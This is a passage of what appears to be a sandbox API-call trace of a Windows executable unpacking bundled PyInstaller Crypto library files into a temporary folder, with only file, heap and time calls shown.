WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe00, lpOverlapped=0x0) returned 1 [0034.576] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.576] CloseHandle (hObject=0x10c) returned 1 [0034.576] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.577] htonl (hostlong=0x40000000) returned 0x40 [0034.577] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.577] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.577] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.577] GetFileType (hFile=0x10c) returned 0x1 [0034.577] htonl (hostlong=0x67200300) returned 0x32067 [0034.577] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x7d067, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.577] htonl (hostlong=0xeb170000) returned 0x17eb [0034.577] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x17eb) returned 0x55d270 [0034.577] htonl (hostlong=0xeb170000) returned 0x17eb [0034.578] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0034.578] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.578] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.578] htonl (hostlong=0x320000) returned 0x3200 [0034.578] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3200) returned 0x561090 [0034.578] htonl (hostlong=0xeb170000) returned 0x17eb [0034.578] htonl (hostlong=0x320000) returned 0x3200 [0034.578] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x564298 [0034.579] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564298 | out: hHeap=0x530000) returned 1 [0034.579] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.579] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.579] CloseHandle (hObject=0x10c) returned 1 [0034.579] GetLastError () returned 0x0 [0034.579] SetLastError (dwErrCode=0x0) [0034.579] GetLastError () returned 0x0 [0034.579] SetLastError (dwErrCode=0x0) [0034.579] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.579] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.579] GetFileType (hFile=0x10c) returned 0x1 [0034.579] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.579] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.579] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.579] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.579] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.579] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.579] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.579] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.579] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.579] CloseHandle (hObject=0x10c) returned 1 [0034.579] GetLastError () returned 0x0 [0034.579] SetLastError (dwErrCode=0x0) [0034.579] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash") returned 57 [0034.580] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.580] GetFileType (hFile=0x10c) returned 0x1 [0034.580] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.580] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.580] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.580] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.580] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.580] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.580] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.580] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.580] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.580] CloseHandle (hObject=0x10c) returned 1 [0034.580] GetLastError () returned 0x0 [0034.580] SetLastError (dwErrCode=0x0) [0034.580] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_keccak.pyd") returned 69 [0034.580] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_keccak.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_keccak.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.580] GetLastError () returned 0x2 [0034.580] SetLastError (dwErrCode=0x2) [0034.580] GetLastError () returned 0x2 [0034.580] SetLastError (dwErrCode=0x2) [0034.580] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_keccak.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_keccak.pyd", lpFilePart=0x0) returned 0x44 [0034.580] GetLastError () returned 0x2 [0034.580] SetLastError (dwErrCode=0x2) [0034.580] GetLastError () returned 0x2 [0034.580] SetLastError (dwErrCode=0x2) [0034.581] GetLastError () returned 0x2 [0034.581] SetLastError (dwErrCode=0x2) [0034.581] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_keccak.pyd") returned 69 [0034.581] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.581] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_keccak.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_keccak.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.581] GetFileType (hFile=0x10c) returned 0x1 [0034.581] htonl (hostlong=0x320000) returned 0x3200 [0034.581] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x3000, lpOverlapped=0x0) returned 1 [0034.582] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.582] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x200, lpOverlapped=0x0) returned 1 [0034.582] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.582] CloseHandle (hObject=0x10c) returned 1 [0034.583] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.584] htonl (hostlong=0x30000000) returned 0x30 [0034.584] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.584] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.584] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.584] GetFileType (hFile=0x10c) returned 0x1 [0034.584] htonl (hostlong=0x52380300) returned 0x33852 [0034.584] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x7e852, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.584] htonl (hostlong=0x3d110000) returned 0x113d [0034.584] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x113d) returned 0x55d270 [0034.584] htonl (hostlong=0x3d110000) returned 0x113d [0034.584] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0034.584] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.585] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.585] htonl (hostlong=0x200000) returned 0x2000 [0034.585] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2000) returned 0x561090 [0034.585] htonl (hostlong=0x3d110000) returned 0x113d [0034.585] htonl (hostlong=0x200000) returned 0x2000 [0034.585] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563098 [0034.586] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563098 | out: hHeap=0x530000) returned 1 [0034.586] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.586] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.586] CloseHandle (hObject=0x10c) returned 1 [0034.586] GetLastError () returned 0x0 [0034.586] SetLastError (dwErrCode=0x0) [0034.586] GetLastError () returned 0x0 [0034.586] SetLastError (dwErrCode=0x0) [0034.586] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.586] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.586] GetFileType (hFile=0x10c) returned 0x1 [0034.586] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.586] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.586] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.586] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.586] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.586] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.586] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.586] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.586] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.586] CloseHandle (hObject=0x10c) returned 1 [0034.586] GetLastError () returned 0x0 [0034.586] SetLastError (dwErrCode=0x0) [0034.587] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash") returned 57 [0034.587] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.587] GetFileType (hFile=0x10c) returned 0x1 [0034.587] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.587] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.587] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.587] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.587] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.587] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.587] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.587] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.587] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.587] CloseHandle (hObject=0x10c) returned 1 [0034.587] GetLastError () returned 0x0 [0034.587] SetLastError (dwErrCode=0x0) [0034.587] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_poly1305.pyd") returned 71 [0034.587] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_poly1305.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_poly1305.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.587] GetLastError () returned 0x2 [0034.587] SetLastError (dwErrCode=0x2) [0034.587] GetLastError () returned 0x2 [0034.587] SetLastError (dwErrCode=0x2) [0034.587] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_poly1305.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_poly1305.pyd", lpFilePart=0x0) returned 0x46 [0034.587] GetLastError () returned 0x2 [0034.587] SetLastError (dwErrCode=0x2) [0034.587] GetLastError () returned 0x2 [0034.587] SetLastError (dwErrCode=0x2) [0034.587] GetLastError () returned 0x2 [0034.587] SetLastError (dwErrCode=0x2) [0034.588] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_poly1305.pyd") returned 71 [0034.588] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.588] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_poly1305.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_poly1305.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.588] GetFileType (hFile=0x10c) returned 0x1 [0034.588] htonl (hostlong=0x200000) returned 0x2000 [0034.588] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0034.589] CloseHandle (hObject=0x10c) returned 1 [0034.590] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.590] htonl (hostlong=0x30000000) returned 0x30 [0034.590] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.590] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.590] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.590] GetFileType (hFile=0x10c) returned 0x1 [0034.590] htonl (hostlong=0x8f490300) returned 0x3498f [0034.591] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x7f98f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.591] htonl (hostlong=0xca320000) returned 0x32ca [0034.591] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x32ca) returned 0x560088 [0034.591] htonl (hostlong=0xca320000) returned 0x32ca [0034.591] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x3000, lpOverlapped=0x0) returned 1 [0034.591] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.591] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.591] htonl (hostlong=0x5c0000) returned 0x5c00 [0034.591] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5c00) returned 0x563360 [0034.591] htonl (hostlong=0xca320000) returned 0x32ca [0034.591] htonl (hostlong=0x5c0000) returned 0x5c00 [0034.591] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x568f68 [0034.592] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x568f68 | out: hHeap=0x530000) returned 1 [0034.592] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.592] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.592] CloseHandle (hObject=0x10c) returned 1 [0034.592] GetLastError () returned 0x0 [0034.592] SetLastError (dwErrCode=0x0) [0034.592] GetLastError () returned 0x0 [0034.592] SetLastError (dwErrCode=0x0) [0034.592] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.592] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.592] GetFileType (hFile=0x10c) returned 0x1 [0034.592] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.592] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.593] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.593] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.593] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.593] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.593] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.593] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.593] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.593] 